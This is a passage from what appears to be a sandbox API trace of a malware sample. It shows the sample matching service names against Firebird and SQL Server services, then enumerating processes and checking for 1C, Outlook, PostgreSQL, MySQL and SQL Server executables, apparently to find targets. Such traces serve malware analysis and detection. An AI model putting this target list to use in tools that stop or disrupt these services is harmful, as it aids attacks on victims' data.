lpString2="Dnscache") returned 1 [0140.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0140.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0140.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0140.969] lstrlenW (lpString="DPS") returned 3 [0140.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0140.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0140.969] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0140.969] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0140.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0140.969] lstrlenW (lpString="eventlog") returned 8 [0140.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0140.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0140.969] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0140.969] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0140.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0140.969] lstrlenW (lpString="EventSystem") returned 11 [0140.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0140.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0140.969] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0140.969] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0140.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0140.969] lstrlenW (lpString="gpsvc") returned 5 [0140.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0140.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0140.969] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0140.970] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0140.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0140.970] lstrlenW (lpString="LanmanWorkstation") returned 17 [0140.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0140.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0140.970] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0140.970] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0140.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0140.970] lstrlenW (lpString="lmhosts") returned 7 [0140.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0140.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0140.970] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0140.970] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0140.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0140.970] lstrlenW (lpString="MMCSS") returned 5 [0140.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0140.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0140.970] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0140.970] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0140.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0140.970] lstrlenW (lpString="MpsSvc") returned 6 [0140.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0140.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0140.970] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0140.970] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0140.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0140.970] lstrlenW (lpString="NlaSvc") returned 6 [0140.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0140.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0140.970] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0140.970] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0140.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0140.970] lstrlenW (lpString="nsi") returned 3 [0140.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0140.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0140.971] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0140.971] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0140.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0140.971] lstrlenW (lpString="PcaSvc") returned 6 [0140.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0140.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0140.971] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0140.971] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0140.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0140.971] lstrlenW (lpString="PlugPlay") returned 8 [0140.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0140.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0140.971] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0140.971] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0140.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0140.971] lstrlenW (lpString="Power") returned 5 [0140.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0140.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0140.971] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0140.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0140.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0140.971] lstrlenW (lpString="ProfSvc") returned 7 [0140.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0140.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0140.971] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0140.971] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0140.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0140.971] lstrlenW (lpString="RpcEptMapper") returned 12 [0140.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0140.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0140.971] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0140.971] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0140.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0140.971] lstrlenW (lpString="RpcSs") returned 5 [0140.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0140.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0140.971] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0140.972] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0140.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0140.972] lstrlenW (lpString="SamSs") returned 5 [0140.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0140.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0140.972] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0140.972] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0140.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0140.972] lstrlenW (lpString="Schedule") returned 8 [0140.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0140.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0140.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0140.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0140.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0140.972] lstrlenW (lpString="SENS") returned 4 [0140.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0140.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0140.972] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0140.972] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0140.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0140.972] lstrlenW (lpString="ShellHWDetection") returned 16 [0140.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0140.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0140.973] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0140.973] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0140.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0140.973] lstrlenW (lpString="Spooler") returned 7 [0140.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0140.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0140.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0140.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0140.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0140.973] lstrlenW (lpString="SysMain") returned 7 [0140.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0140.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0140.973] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0140.973] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0140.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0140.973] lstrlenW (lpString="Themes") returned 6 [0140.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0140.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0140.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0140.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0140.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0140.973] lstrlenW (lpString="TrkWks") returned 6 [0140.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0140.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0140.973] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0140.973] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0140.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0140.973] lstrlenW (lpString="UxSms") returned 5 [0140.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0140.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0140.973] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0140.973] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0140.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0140.973] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x42fcff0 | out: hHeap=0x880000) returned 1 [0140.973] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x314 [0140.975] Process32FirstW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.976] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0140.976] lstrlenW (lpString="System") returned 6 [0140.976] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0140.976] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0140.976] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0140.976] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0140.976] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0140.976] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0140.976] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0140.976] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0140.976] lstrlenW (lpString="smss.exe") returned 8 [0140.976] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0140.976] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0140.976] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0140.976] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0140.976] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0140.976] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0140.977] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0140.977] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0140.977] lstrlenW (lpString="csrss.exe") returned 9 [0140.977] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0140.977] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0140.977] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0140.977] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0140.977] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0140.977] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0140.977] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0140.977] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0140.977] lstrlenW (lpString="wininit.exe") returned 11 [0140.977] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0140.977] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0140.977] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0140.977] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0140.977] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0140.977] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0140.978] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0140.978] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0140.978] lstrlenW (lpString="csrss.exe") returned 9 [0140.978] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0140.978] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0140.978] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0140.978] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0140.978] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0140.978] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0140.978] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0140.978] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0140.978] lstrlenW (lpString="winlogon.exe") returned 12 [0140.978] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0140.978] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0140.978] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0140.978] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0140.978] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0140.979] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0140.979] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0140.979] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0140.979] lstrlenW (lpString="services.exe") returned 12 [0140.979] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0140.979] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0140.979] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0140.979] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0140.979] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0140.979] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0140.979] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0140.979] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0140.979] lstrlenW (lpString="lsass.exe") returned 9 [0140.979] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0140.979] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0140.979] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0140.979] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0140.979] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0140.980] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0140.980] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0140.980] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0140.980] lstrlenW (lpString="lsm.exe") returned 7 [0140.980] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0140.980] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0140.980] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0140.980] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0140.980] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0140.980] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0140.980] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0140.980] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.980] lstrlenW (lpString="svchost.exe") returned 11 [0140.980] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0140.980] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0140.980] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0140.980] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0140.980] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0140.981] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0140.981] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0140.981] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.981] lstrlenW (lpString="svchost.exe") returned 11 [0140.981] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0140.981] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0140.981] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0140.981] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0140.981] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0140.981] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0140.981] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0140.981] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.981] lstrlenW (lpString="svchost.exe") returned 11 [0140.981] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0140.981] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0140.981] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0140.981] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0140.981] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0140.982] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0140.982] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0140.982] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.982] lstrlenW (lpString="svchost.exe") returned 11 [0140.982] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.982] lstrlenW (lpString="svchost.exe") returned 11 [0140.982] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0140.983] lstrlenW (lpString="audiodg.exe") returned 11 [0140.983] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.983] lstrlenW (lpString="svchost.exe") returned 11 [0140.983] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0140.983] lstrlenW (lpString="userinit.exe") returned 12 [0140.983] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0140.984] lstrlenW (lpString="explorer.exe") returned 12 [0140.984] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0140.984] lstrlenW (lpString="dwm.exe") returned 7 [0140.984] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.984] lstrlenW (lpString="svchost.exe") returned 11 [0140.984] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, 